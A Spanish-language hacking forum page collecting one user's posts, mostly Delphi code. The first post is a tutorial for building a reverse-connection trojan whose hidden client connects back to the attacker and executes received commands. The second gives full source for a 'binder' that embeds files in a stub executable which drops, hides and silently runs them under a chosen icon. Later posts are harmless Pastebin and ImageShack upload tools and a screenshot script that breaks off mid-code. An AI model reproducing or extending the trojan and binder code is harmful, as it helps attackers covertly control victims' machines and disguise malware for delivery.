Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - BigBear

#161
[Titulo] : Creacion de un Troyano de Conexion Inversa
[Lenguaje] : Delphi
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Creacion del servidor
0x03 : Creacion del cliente
0x04 : Probando el programa

-- =================--------

0x01 : Introduccion

Hola voy a empezar este corto manual sobre como hacer un troyano de conexion inversa en delphi 2010 , un troyano teoricamente es un software malicioso que sirve para entrar en la computadora de la persona a la que quieren infectar.

En este caso vamos a hacer uno de conexion inversa , tradicionalmente se hacian troyanos de conexion directa donde el infectado se convertia en servidor abriendo un puerto para que el atacante puediera entrar simplemente con una conexion por sockets , pero la onda de ahora es la conexion inversa donde el atacante se convierte en el pobre servidor para que las victimas se conecten a nosotros , lo bueno de la conexion inversa es que a la maquina infectada no le va a saltar el firewall cosa que siempre pasa cuando el infectado recibe el amable cartelito de que si quiere desbloquear un misterioso puerto xDD.

Para esto vamos a necesitar usar los componentes ServerSocket y ClientSocket que tiene delphi.

Para instarlo tenemos que ir a Menu -> components -> install packages

En el menu que les aparece busquen el directorio Archivos de programa -> Embarcadero -> Rad Studio -> 7.0 -> bin -> dclsockets70.bpl

Y listo una vez cargado el archivo bpl les va aparecer en la paleta de internet los componentes ServerSocket y ClientSocket.

Antes de comenzar debemos entender que el servidor seremos nosotros osea el atacante y el cliente la victima , no se vayan a confundir y pensarlo al reves xDD.

0x02 : Creacion del servidor

Primero vamos a crear el servidor , para eso vamos a File->New->VCL Forms Application como lo hice en la imagen :



Para hacer el formulario decente tenemos que agregar lo siguiente.

  • 1 ListBox
  • 2 botones
  • 1 Edit
  • 1 ServerSocket (lo ponemos en true para que este activo )

    Tiene que quedar como esta imagen.



    Una vez hecho elegimos cualquiera de los dos botones con el fin de usarlo para refrescar el listbox con las conexiones activas , entonces hacemos doble click en el boton que elegimos como "Refresh" y ponemos el siguiente codigo.

    Código: delphi

    procedure TForm1.Button1Click(Sender: TObject);
    var
      lugar: integer; // Declaramos la variable lugar como entero
    begin

      ListBox1.Clear; // Limpiamos el contenido de ListBox

      for lugar := 0 To ServerSocket1.Socket.ActiveConnections - 1 do
      // Listamos las conexiones que
      // hay en el server
      begin
        ListBox1.Items.add(ServerSocket1.Socket.Connections[lugar].RemoteHost);
        // Agregamos al ListBox
        // el host del infectado
        // conectado
      end;

    end;


    Tiene que quedar como en la siguiente imagen.



    Entonces pasamos al siguiente boton que lo vamos usar para mandar los comandos al pc infectado , entonces hacemos doble click en el segundo boton y pegamos el siguiente codigo comentado.

    Código: delphi

    procedure TForm1.Button2Click(Sender: TObject);

    begin

      ServerSocket1.Socket.Connections[ListBox1.Itemindex].SendText(Edit1.Text);
      // Mandamos el comando
      // al pc infectado que
      // seleccionamos en el
      // ListBox

    end;


    Una imagen de como deberia quedar el codigo.




    0x03 : Creacion del cliente

    Ahora pasamos al cliente.

    Lo unico que debemos agregar es el componente ClientSocket al formulario.

    Entonces vamos al evento OnCreate del formulario central y pegamos el siguiente codigo.

    Código: delphi

    procedure TForm1.FormCreate(Sender: TObject);
    begin

      ClientSocket1.Host := '127.0.0.1'; // Establecemos el host con valor de nuestro ip local
      ClientSocket1.Port := 666; // Establecemos el puerto que sera 666
      ClientSocket1.Open; // Iniciamos la conexion con el servidor

      Application.ShowMainForm := False; // Ocultamos el formulario para que no se vea la ventana

    end;


    Despues de esto vamos al evento OnRead del componente ClientSocket y copiamos el siguiente codigo comentado.

    Código: delphi

    procedure TForm1.ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
    var
      code: string;
    begin

      // Tenemos que agregar 'uses MMSystem' al inicio del codigo para poder abrir y cerrar la lectora

      code := Socket.ReceiveText; // Capturamos el contenido del socket en la variable code

      if (Pos('opencd', code) > 0) then // Si encontramos opencd en el codigo ...
      begin
        mciSendString('Set cdaudio door open wait', nil, 0, handle);
        // Usamos mciSendString para abrir
        // la lectora
      end;

      if (Pos('closecd', code) > 0) then // Si encontramos closecd en la variable code ...
      begin
        mciSendString('Set cdaudio door closed wait', nil, 0, handle);
        // Cerramos la lectora usando
        // mciSendString
      end;

    end;


    Una imagen de como deberia quedar el codigo.



    0x04 : Probando el programa

    El codigo resulto mas sencillo de lo que esperaba ya que gracias a los eventos lo hice a todo en 5 minutos , entonces vamos y cargamos los ejecutables primero el servidor y despues el cliente.
    Entonces si hicieron todo bien veran que se cargo en el listbox el servidor de una victima que en este caso seria localhost , entonces seleccionamos localhost del listbox y le hacemos click , entonces vamos a usar los dos comandos disponibles que son "opencd" y "closecd".
    Los comandos disponibles solo sirven para abrir y cerrar la lectora pero se pueden hacer muchas cosas solo es cuestion de imaginacion , una idea graciosa seria cargar el word y que le escriba solo , de hecho ya hice eso en mi DH Botnet que esta hecha en Perl y PHP.

    Les muestro una imagen de como seria todo.



    Ya llegamos al final de este corto manual pero les aviso que pronto se viene mi primer troyano de conexion inversa en Delphi.

    --========--
      The End ?
    --========--

    You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#162
Delphi / [Delphi] DH Binder 0.3
Octubre 25, 2013, 12:05:37 PM
Un simple Binder que hice en Delphi con las siguientes opciones :

  • Junta todos los archivos que quieran
  • Se puede seleccionar donde se extraen los archivos
  • Se puede cargar los archivos de forma oculta o normal
  • Se puede ocultar los archivos
  • Se puede elegir el icono del ejecutable generado

    Una imagen :



    El codigo del Binder.

    Código: delphi

    // DH Binder 0.3
    // (C) Doddy Hackman 2013
    // Credits :
    // Joiner Based in : "Ex Binder v0.1" by TM
    // Icon Changer based in : "IconChanger" By Chokstyle
    // Thanks to TM & Chokstyle

    unit dhbinde;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, sSkinManager, acPNG, ExtCtrls, ComCtrls, sListView, sStatusBar,
      StdCtrls, sGroupBox, sButton, sComboBox, sCheckBox, Menus, sEdit, madRes;

    type
      TForm1 = class(TForm)
        sSkinManager1: TsSkinManager;
        Image1: TImage;
        sGroupBox1: TsGroupBox;
        sStatusBar1: TsStatusBar;
        sListView1: TsListView;
        sGroupBox2: TsGroupBox;
        sGroupBox3: TsGroupBox;
        Image2: TImage;
        sButton1: TsButton;
        sGroupBox4: TsGroupBox;
        sComboBox1: TsComboBox;
        sGroupBox5: TsGroupBox;
        sCheckBox1: TsCheckBox;
        sGroupBox6: TsGroupBox;
        sButton2: TsButton;
        sButton3: TsButton;
        sButton4: TsButton;
        PopupMenu1: TPopupMenu;
        l1: TMenuItem;
        OpenDialog1: TOpenDialog;
        OpenDialog2: TOpenDialog;
        sEdit1: TsEdit;
        C1: TMenuItem;
        procedure l1Click(Sender: TObject);
        procedure FormCreate(Sender: TObject);
        procedure sButton1Click(Sender: TObject);
        procedure sButton2Click(Sender: TObject);
        procedure sButton3Click(Sender: TObject);
        procedure sButton4Click(Sender: TObject);
        procedure C1Click(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form1: TForm1;

    implementation

    uses about;
    {$R *.dfm}
    // Functions

    function dhencode(texto, opcion: string): string;
    // Thanks to Taqyon
    // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    var
      num: integer;
      aca: string;
      cantidad: integer;

    begin

      num := 0;
      Result := '';
      aca := '';
      cantidad := 0;

      if (opcion = 'encode') then
      begin
        cantidad := length(texto);
        for num := 1 to cantidad do
        begin
          aca := IntToHex(ord(texto[num]), 2);
          Result := Result + aca;
        end;
      end;

      if (opcion = 'decode') then
      begin
        cantidad := length(texto);
        for num := 1 to cantidad div 2 do
        begin
          aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
          Result := Result + aca;
        end;
      end;

    end;

    //

    procedure TForm1.C1Click(Sender: TObject);
    begin
      sListView1.Items.Clear;
    end;

    procedure TForm1.FormCreate(Sender: TObject);
    begin

      sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
      sSkinManager1.SkinName := 'tv-b';
      sSkinManager1.Active := True;

      OpenDialog1.InitialDir := GetCurrentDir;
      OpenDialog2.InitialDir := GetCurrentDir;
      OpenDialog2.Filter := 'ICO|*.ico|';

    end;

    procedure TForm1.l1Click(Sender: TObject);
    var
      op: String;
    begin

      if OpenDialog1.Execute then
      begin

        op := InputBox('Add File', 'Execute Hide ?', 'Yes');

        with sListView1.Items.Add do
        begin
          Caption := ExtractFileName(OpenDialog1.FileName);
          if (op = 'Yes') then
          begin
            SubItems.Add(OpenDialog1.FileName);
            SubItems.Add('Hide');
          end
          else
          begin
            SubItems.Add(OpenDialog1.FileName);
            SubItems.Add('Normal');
          end;
        end;

      end;
    end;

    procedure TForm1.sButton1Click(Sender: TObject);
    begin

      if OpenDialog2.Execute then
      begin
        Image2.Picture.LoadFromFile(OpenDialog2.FileName);
        sEdit1.Text := OpenDialog2.FileName;
      end;

    end;

    procedure TForm1.sButton2Click(Sender: TObject);
    var
      i: integer;
      nombre: string;
      ruta: string;
      tipo: string;
      savein: string;
      opcionocultar: string;
      lineafinal: string;
      uno: DWORD;
      tam: DWORD;
      dos: DWORD;
      tres: DWORD;
      todo: Pointer;
      change: DWORD;
      valor: string;
      stubgenerado: string;

    begin

      if (sListView1.Items.Count = 0) or (sListView1.Items.Count = 1) then
      begin
        ShowMessage('You have to choose two or more files');
      end
      else
      begin
        stubgenerado := 'done.exe';

        if (sCheckBox1.Checked = True) then
        begin
          opcionocultar := '1';
        end
        else
        begin
          opcionocultar := '0';
        end;

        if (sComboBox1.Items[sComboBox1.ItemIndex] = '') then
        begin
          savein := 'USERPROFILE';
        end
        else
        begin
          savein := sComboBox1.Items[sComboBox1.ItemIndex];
        end;

        DeleteFile(stubgenerado);
        CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' + 'Data/stub.exe')
            , PChar(ExtractFilePath(Application.ExeName) + '/' + stubgenerado),
          True);

        uno := BeginUpdateResource
          (PChar(ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);

        for i := 0 to sListView1.Items.Count - 1 do
        begin

          nombre := sListView1.Items[i].Caption;
          ruta := sListView1.Items[i].SubItems[0];
          tipo := sListView1.Items[i].SubItems[1];

          lineafinal := '[nombre]' + nombre + '[nombre][tipo]' + tipo +
            '[tipo][dir]' + savein + '[dir][hide]' + opcionocultar + '[hide]';
          lineafinal := '[63686175]' + dhencode(UpperCase(lineafinal), 'encode')
            + '[63686175]';

          dos := CreateFile(PChar(ruta), GENERIC_READ, FILE_SHARE_READ, nil,
            OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
          tam := GetFileSize(dos, nil);
          GetMem(todo, tam);
          ReadFile(dos, todo^, tam, tres, nil);
          CloseHandle(dos);
          UpdateResource(uno, RT_RCDATA, PChar(lineafinal), MAKEWord(LANG_NEUTRAL,
              SUBLANG_NEUTRAL), todo, tam);

        end;

        EndUpdateResource(uno, False);

        if not(sEdit1.Text = '') then
        begin
          try
            begin
              change := BeginUpdateResourceW
                (PWideChar(wideString(ExtractFilePath(Application.ExeName)
                      + '/' + stubgenerado)), False);
              LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
                PWideChar(wideString(sEdit1.Text)));
              EndUpdateResourceW(change, False);
              sStatusBar1.Panels[0].Text := '[+] Done ';
              Form1.sStatusBar1.Update;
            end;
          except
            begin
              sStatusBar1.Panels[0].Text := '[-] Error';
              Form1.sStatusBar1.Update;
            end;
          end;
        end
        else
        begin
          sStatusBar1.Panels[0].Text := '[+] Done ';
          Form1.sStatusBar1.Update;
        end;
      end;

    end;

    procedure TForm1.sButton3Click(Sender: TObject);
    begin
      Form2.Show;
    end;

    procedure TForm1.sButton4Click(Sender: TObject);
    begin
      Form1.Close();
    end;

    end.

    // The End ?


    El codigo del Stub

    Código: delphi

    // DH Binder 0.3
    // (C) Doddy Hackman 2013
    // Credits :
    // Joiner Based in : "Ex Binder v0.1" by TM
    // Icon Changer based in : "IconChanger" By Chokstyle
    // Thanks to TM & Chokstyle

    // Stub

    program stub;

    uses
      Windows,
      SysUtils,
      ShellApi;

    // Functions

    function regex(text: String; deaca: String; hastaaca: String): String;
    begin
      Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
      SetLength(text, AnsiPos(hastaaca, text) - 1);
      Result := text;
    end;

    function dhencode(texto, opcion: string): string;
    // Thanks to Taqyon
    // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    var
      num: integer;
      aca: string;
      cantidad: integer;

    begin

      num := 0;
      Result := '';
      aca := '';
      cantidad := 0;

      if (opcion = 'encode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad do
        begin
          aca := IntToHex(ord(texto[num]), 2);
          Result := Result + aca;
        end;
      end;

      if (opcion = 'decode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad div 2 do
        begin
          aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
          Result := Result + aca;
        end;
      end;

    end;

    //

    // Start the game

    function start(tres: THANDLE; cuatro, cinco: PChar; seis: DWORD): BOOL; stdcall;
    var
      data: DWORD;
      uno: DWORD;
      dos: DWORD;
      cinco2: string;
      nombre: string;
      tipodecarga: string;
      ruta: string;
      ocultar: string;

    begin

      Result := True;

      cinco2 := cinco;
      cinco2 := regex(cinco2, '[63686175]', '[63686175]');
      cinco2 := dhencode(cinco2, 'decode');
      cinco2 := LowerCase(cinco2);

      nombre := regex(cinco2, '[nombre]', '[nombre]');
      tipodecarga := regex(cinco2, '[tipo]', '[tipo]');
      ruta := GetEnvironmentVariable(regex(cinco2, '[dir]', '[dir]')) + '/';
      ocultar := regex(cinco2, '[hide]', '[hide]');

      data := FindResource(0, cinco, cuatro);

      uno := CreateFile(PChar(ruta + nombre), GENERIC_WRITE, FILE_SHARE_WRITE, nil,
        CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
      WriteFile(uno, LockResource(LoadResource(0, data))^, SizeOfResource(0, data),
        dos, nil);

      CloseHandle(uno);

      if (ocultar = '1') then
      begin
        SetFileAttributes(PChar(ruta + nombre), FILE_ATTRIBUTE_HIDDEN);
      end;

      if (tipodecarga = 'normal') then
      begin
        ShellExecute(0, 'open', PChar(ruta + nombre), nil, nil, SW_SHOWNORMAL);
      end
      else
      begin
        ShellExecute(0, 'open', PChar(ruta + nombre), nil, nil, SW_HIDE);
      end;

    end;

    begin

      EnumResourceNames(0, RT_RCDATA, @start, 0);

    end.

    // The End ?


    Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#163
Delphi / [Delphi] DH PasteBin Manager 0.2
Octubre 18, 2013, 05:44:04 PM
Un simple programa en delphi para subir y bajar codigos en pastebin.

Unas imagenes :







Los codigos :

Menu

Código: delphi

// DH PasteBin Manager 0.2
// (C) Doddy Hackman 2013

unit paste;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  IdHTTP, IdMultipartFormData, PerlRegEx, sSkinManager, ComCtrls, sStatusBar,
  sGroupBox, sMemo, sButton, sEdit, sLabel, sListBox, acPNG, ExtCtrls;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    Image1: TImage;
    sGroupBox1: TsGroupBox;
    sButton1: TsButton;
    sButton2: TsButton;
    sButton3: TsButton;
    sButton4: TsButton;

    procedure FormCreate(Sender: TObject);
    procedure sButton3Click(Sender: TObject);
    procedure sButton4Click(Sender: TObject);
    procedure sButton1Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

uses formdown, formup;
{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
var
  dir: string;
begin

  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'matrix';
  sSkinManager1.Active := True;

  dir := ExtractFilePath(Application.ExeName) + '/downloads';

  if not(DirectoryExists(dir)) then
  begin
    CreateDir(dir);
  end;

  ChDir(dir);

end;

procedure TForm1.sButton1Click(Sender: TObject);
begin
  Form3.Show;
end;

procedure TForm1.sButton2Click(Sender: TObject);
begin
  Form2.Show;
end;

procedure TForm1.sButton3Click(Sender: TObject);
begin
  ShowMessage('Contact to lepuke[at]hotmail[com]');
end;

procedure TForm1.sButton4Click(Sender: TObject);
begin
  Form1.Close();
end;

end.

// The End ?


Uploader

Código: delphi

// DH PasteBin Manager 0.2
// (C) Doddy Hackman 2013

unit formup;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, sButton, sEdit, sLabel, sGroupBox, acPNG, ExtCtrls,
  ComCtrls, sStatusBar, PerlRegEx, IdBaseComponent, IdComponent,
  IdTCPConnection, IdTCPClient, IdHTTP, IdMultipartFormData, sMemo;

type
  TForm3 = class(TForm)
    sGroupBox4: TsGroupBox;
    sLabel3: TsLabel;
    sLabel4: TsLabel;
    sEdit3: TsEdit;
    sEdit4: TsEdit;
    sGroupBox5: TsGroupBox;
    sButton3: TsButton;
    sButton4: TsButton;
    sButton5: TsButton;
    Image1: TImage;
    sStatusBar1: TsStatusBar;
    OpenDialog1: TOpenDialog;
    IdHTTP1: TIdHTTP;
    PerlRegEx1: TPerlRegEx;
    sMemo1: TsMemo;
    procedure sButton4Click(Sender: TObject);
    procedure sButton5Click(Sender: TObject);
    procedure sButton3Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form3: TForm3;

implementation

{$R *.dfm}

procedure TForm3.sButton3Click(Sender: TObject);
var
  datos: TIdMultiPartFormDataStream;
  code: string;
  titulo: string;
  contenido: string;

  archivo: TextFile;
  texto: string;

begin

  titulo := ExtractFileName(sEdit3.Text);

  sMemo1.Lines.Clear;

  AssignFile(archivo, sEdit3.Text);
  Reset(archivo);

  while not Eof(archivo) do
  begin
    ReadLn(archivo, texto);
    sMemo1.Lines.Add(texto);
  end;

  CloseFile(archivo);

  contenido := sMemo1.Lines.Text;

  datos := TIdMultiPartFormDataStream.Create;

  datos.AddFormField('api_dev_key', 'fuck you');
  datos.AddFormField('api_option', 'paste');
  datos.AddFormField('api_paste_name', titulo);
  datos.AddFormField('api_paste_code', contenido);

  sStatusBar1.Panels[0].Text := '[+] Uploading ...';
  Form3.sStatusBar1.Update;

  code := IdHTTP1.Post('http://pastebin.com/api/api_post.php', datos);

  PerlRegEx1.Regex := 'pastebin';
  PerlRegEx1.Subject := code;

  if PerlRegEx1.Match then
  begin
    sStatusBar1.Panels[0].Text := '[+] Done';
    Form3.sStatusBar1.Update;
    sEdit4.Text := code;
  end
  else
  begin
    sStatusBar1.Panels[0].Text := '[-] Error Uploading';
    Form3.sStatusBar1.Update;
  end;

end;

procedure TForm3.sButton4Click(Sender: TObject);
begin
  OpenDialog1.InitialDir := GetCurrentDir;

  if OpenDialog1.Execute then
  begin
    sEdit3.Text := OpenDialog1.FileName;
  end;

end;

procedure TForm3.sButton5Click(Sender: TObject);
begin
  sEdit4.SelectAll;
  sEdit4.CopyToClipboard;
end;

end.

// The End ?


El downloader.

Código: delphi

// DH PasteBin Manager 0.2
// (C) Doddy Hackman 2013

unit formdown;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, sListBox, sButton, sEdit, sLabel, sGroupBox, PerlRegEx,
  IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, acPNG,
  ExtCtrls, ComCtrls, sStatusBar, sMemo, acProgressBar;

type
  TForm2 = class(TForm)
    sGroupBox1: TsGroupBox;
    sGroupBox2: TsGroupBox;
    sLabel1: TsLabel;
    sLabel2: TsLabel;
    sEdit1: TsEdit;
    sEdit2: TsEdit;
    sButton1: TsButton;
    sGroupBox3: TsGroupBox;
    sListBox1: TsListBox;
    sButton2: TsButton;
    IdHTTP1: TIdHTTP;
    PerlRegEx1: TPerlRegEx;
    PerlRegEx2: TPerlRegEx;
    Image1: TImage;
    sStatusBar1: TsStatusBar;
    sProgressBar1: TsProgressBar;

    procedure sButton1Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
      AWorkCount: Int64);
    procedure IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
      AWorkCountMax: Int64);
    procedure IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form2: TForm2;

implementation

{$R *.dfm}

procedure TForm2.IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
  AWorkCount: Int64);
begin
  sProgressBar1.Position := AWorkCount;
  sStatusBar1.Panels[0].Text := '[+] Downloading ...';
  Form2.sStatusBar1.Update;
end;

procedure TForm2.IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
  AWorkCountMax: Int64);
begin
  sProgressBar1.Max := AWorkCountMax;
  sStatusBar1.Panels[0].Text := '[+] Starting download ...';
  Form2.sStatusBar1.Update;
end;

procedure TForm2.IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
begin
  sProgressBar1.Position := 0;
  sStatusBar1.Panels[0].Text := '[+] Finished';
  Form2.sStatusBar1.Update;
end;

procedure TForm2.sButton1Click(Sender: TObject);
var
  url: string;
  url2: string;
  code: string;
  i: integer;
  viendo: string;
  chau: TStringList;

begin
  //

  chau := TStringList.Create;

  chau.Duplicates := dupIgnore;
  chau.Sorted := True;
  chau.Assign(sListBox1.Items);
  sListBox1.Items.Clear;
  sListBox1.Items.Assign(chau);

  url := sEdit1.Text;
  url2 := sEdit2.Text;

  if not(url = '') then
  begin
    PerlRegEx1.Regex := 'pastebin';
    PerlRegEx1.Subject := url;

    if PerlRegEx1.Match then
    begin
      sListBox1.Items.Add(url);
    end;
  end;

  if not(url2 = '') then
  begin

    code := IdHTTP1.Get(url2);

    PerlRegEx1.Regex := '(.)(http://.+?)\1';
    PerlRegEx1.Subject := code;

    while PerlRegEx1.MatchAgain do
    begin
      for i := 1 to PerlRegEx1.SubExpressionCount do
      begin
        viendo := PerlRegEx1.SubExpressions[i];

        PerlRegEx2.Regex := 'pastebin';
        PerlRegEx2.Subject := viendo;

        if PerlRegEx2.Match then
        begin
          sListBox1.Items.Add(viendo);
        end;
      end;
    end;

  end;

end;

procedure TForm2.sButton2Click(Sender: TObject);
var
  url: string;
  urlabajar: string;
  id: string;
  code: string;
  titulo: string;
  i: integer;
  archivobajado: TFileStream;
begin

  for i := sListBox1.Items.Count - 1 downto 0 do
  begin

    //

    url := sListBox1.Items[i];

    PerlRegEx1.Regex := 'http:\/\/(.*)\/(.*)';
    PerlRegEx1.Subject := url;

    if PerlRegEx1.Match then
    begin

      urlabajar :=
        'http://pastebin.com/download.php?i=' + PerlRegEx1.SubExpressions[2];
      // sMemo1.Lines.Add(urlabajar);

      code := IdHTTP1.Get(url);

      PerlRegEx2.Regex := '<div class="paste_box_line1" title="(.*)">';
      PerlRegEx2.Subject := code;

      if PerlRegEx2.Match then
      begin
        titulo := PerlRegEx2.SubExpressions[1];
        // sMemo1.Lines.Add(titulo);

        // Baja esto carajo

        // sStatusBar1.Panels[0].Text := '[+] Downloading :' + urlabajar;
        // Form2.sStatusBar1.Update;

        archivobajado := TFileStream.Create(titulo + '.txt', fmCreate);

        try
          begin
            DeleteFile(titulo);
            IdHTTP1.Get(urlabajar, archivobajado);
            sStatusBar1.Panels[0].Text := '[+] File Dowloaded';
            Form2.sStatusBar1.Update;
            archivobajado.Free;
          end;
        except
          sStatusBar1.Panels[0].Text := '[-] Failed download';
          Form2.sStatusBar1.Update;
          archivobajado.Free;
          Abort;
        end;


        //

      end;

    end;



    //

  end;

  sStatusBar1.Panels[0].Text := '[+] Done';
  Form2.sStatusBar1.Update;

end;

end.

// The End ?


Si quieren bajar el proyecto y el ejecutable lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#164
Delphi / [Delphi] ImageShack Uploader 0.1
Octubre 11, 2013, 02:55:17 PM
Un simple programa para subir imagenes a ImageShack.

Una imagen :



El codigo :

Código: delphi

// ImageShack Uploader 0.1
// Based in the API of ImageShack
// Coded By Doddy H

unit image;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  IdHTTP, IdMultipartFormData, Buttons, sGroupBox, sSkinManager, sButton, sEdit,
  ComCtrls, sStatusBar, acPNG, ExtCtrls, PerlRegEx;

type
  TForm1 = class(TForm)
    IdHTTP1: TIdHTTP;
    sSkinManager1: TsSkinManager;
    sGroupBox1: TsGroupBox;
    sEdit1: TsEdit;
    sButton1: TsButton;
    sGroupBox2: TsGroupBox;
    sEdit2: TsEdit;
    sStatusBar1: TsStatusBar;
    sGroupBox3: TsGroupBox;
    sButton2: TsButton;
    sButton3: TsButton;
    sButton4: TsButton;
    sButton5: TsButton;
    Image1: TImage;
    OpenDialog1: TOpenDialog;
    PerlRegEx1: TPerlRegEx;

    procedure FormCreate(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure sButton5Click(Sender: TObject);
    procedure sButton4Click(Sender: TObject);
    procedure sButton1Click(Sender: TObject);
    procedure sButton3Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin

  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'cold';
  sSkinManager1.Active := True;

  OpenDialog1.InitialDir := GetCurrentDir;
end;

procedure TForm1.sButton1Click(Sender: TObject);
begin

  if OpenDialog1.Execute then
  begin
    sEdit1.Text := OpenDialog1.FileName;
  end;

end;

procedure TForm1.sButton2Click(Sender: TObject);
var
  datos: TIdMultiPartFormDataStream;
  code: string;
begin

  if FileExists(sEdit1.Text) then
  begin

    sStatusBar1.Panels[0].Text := '[+] Uploading ...';
    Form1.sStatusBar1.Update;

    datos := TIdMultiPartFormDataStream.Create;
    datos.AddFormField('key', 'fuck you');
    datos.AddFile('fileupload', sEdit1.Text, 'application/octet-stream');
    datos.AddFormField('format', 'json');

    code := IdHTTP1.Post('http://post.imageshack.us/upload_api.php', datos);

    PerlRegEx1.Regex := '"image_link":"(.*?)"';
    PerlRegEx1.Subject := code;

    if PerlRegEx1.Match then
    begin
      sEdit2.Text := PerlRegEx1.SubExpressions[1];
      sStatusBar1.Panels[0].Text := '[+] Done';
      Form1.sStatusBar1.Update;
    end
    else
    begin
      sStatusBar1.Panels[0].Text := '[-] Error uploading';
      Form1.sStatusBar1.Update;
    end;

  end
  else
  begin
    sStatusBar1.Panels[0].Text := '[+] File not Found';
    Form1.sStatusBar1.Update;
  end;

end;

procedure TForm1.sButton3Click(Sender: TObject);
begin
  sEdit2.SelectAll;
  sEdit2.CopyToClipboard;
end;

procedure TForm1.sButton4Click(Sender: TObject);
begin
  ShowMessage('Contact to lepuke[at]hotmail[com]');
end;

procedure TForm1.sButton5Click(Sender: TObject);
begin
  Form1.Close();
end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#165
Perl / [Perl] DH ScreenShoter 0.1
Octubre 04, 2013, 02:31:25 PM
Un simple script en perl para sacar un screenshot y subirlo a imageshack.

El codigo :

Código: perl

#!usr/bin/perl
#DH ScreenShoter 0.1
#Coded By Doddy H
#ppm install http://www.bribes.org/perl/ppm/Win32-GuiTest.ppd
#ppm install http://www.bribes.org/perl/ppm/Crypt-SSLeay.ppd

use Win32::GuiTest
  qw(GetAsyncKeyState GetForegroundWindow GetWindowText FindWindowLike SetForegroundWindow SendKeys);
use Win32::Clipboard;
use Time::HiRes "usleep";
use LWP::UserAgent;

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(5);

$|++;

my $time;
my $nombrefecha;

my ( $dia, $mes, $anio, $hora, $minutos, $segundos ) = agarrate_la_hora();

$nombrefecha =
    $dia . "_"
  . $mes . "_"
  . $anio . "_"
  . $hora . "_"
  . $minutos . "_"
  . $segundos;

my $se = "captures";

unless ( -d $se ) {
    mkdir( $se, "777" );
}

chdir $se;

head();

print "[+] Save Photo with this name : ";
chomp( my $filename = <stdin> );

print "\n[+] Get Photo in this time : ";
chomp( my $timeop = <stdin> );

print "\n[+] Open photo after taking it ? : ";
chomp( my $load_image = <stdin> );

print "\n[+] Upload image to ImageShack ? : ";
chomp( my $imageshack = <stdin> );

print "\n[+] Taking shot in ";

if ( $timeop eq "" ) {
    $time = 1;
}
else {
    $time = $timeop;
}

for my $num ( reverse 1 .. $time ) {
    print "$num.. ";
    sleep 1;
}

if ( $filename eq "" ) {

    capturar_pantalla( $nombrefecha . ".jpg" );

}
else {

    capturar_pantalla($filename);

}

print "\a\a\a";
print "\n\n[+] Photo Taken\n";

if ( $imageshack =~ /y/ ) {
    if ( $filename eq "" ) {
        subirarchivo( $nombrefecha . ".jpg" );
    }
    else {
        subirarchivo($filename);
    }
}

if ( $load_image =~ /y/ ) {
